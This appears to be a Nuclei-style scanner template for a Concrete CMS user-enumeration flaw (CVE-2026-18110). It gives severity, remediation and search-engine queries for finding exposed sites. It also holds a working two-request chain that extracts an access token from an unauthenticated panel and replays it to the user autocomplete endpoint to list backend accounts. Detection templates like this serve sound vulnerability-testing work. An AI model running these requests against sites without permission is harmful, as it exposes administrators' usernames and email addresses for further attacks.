Concrete CMS - User Enumeration

id: CVE-2026-18110

info:
  name: Concrete CMS - User Enumeration
  author: community
  severity: high
  description: |
    Concrete CMS versions 9.0.0 through 9.5.2 are vulnerable to unauthenticated user enumeration via a missing authorization check in the "Preview As User" panel (concrete/controllers/panel/page/preview_as_user.php).
  impact: |
    Unauthenticated attackers can enumerate all backend user accounts, disclosing internal user IDs, usernames, and email addresses of administrative users.
  remediation: |
    Update to the latest version beyond 9.5.2 where the authorization check is implemented.
  reference:
    - https://github.com/concretecms/concretecms
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-18110
    epss-score: 0.01592
    epss-percentile: 0.75886
    cwe-id: CWE-862
  metadata:
    verified: true
    vendor: concretecms
    product: concretecms
    shodan-query: http.html:"Concrete CMS"
    fofa-query: body="Concrete CMS"
  tags: cve,cve2026,concretecms,concrete5,user-enum,cms

http:
  - raw:
      - |
        GET /ccm/system/panels/page/preview_as_user HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

      - |
        POST /ccm/system/user/autocomplete HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        accessToken={{token}}&labelFormat={{label_format}}&includeAvatar={{include_avatar}}&query=a

    extractors:
      - type: regex
        name: token
        group: 1
        part: body_1
        regex:
          - 'access-token="([^"]+)"'
        internal: true

      - type: regex
        name: label_format
        group: 1
        part: body_1
        regex:
          - 'label-format="([^"]+)"'
        internal: true

      - type: regex
        name: include_avatar
        group: 1
        part: body_1
        regex:
          - ':include-avatar="([^"]+)"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "application/json")'
          - 'status_code_1 == 200 && status_code_2 == 200'
          - 'contains_all(body_2, "id\":", "primary_label\":")'
        condition: and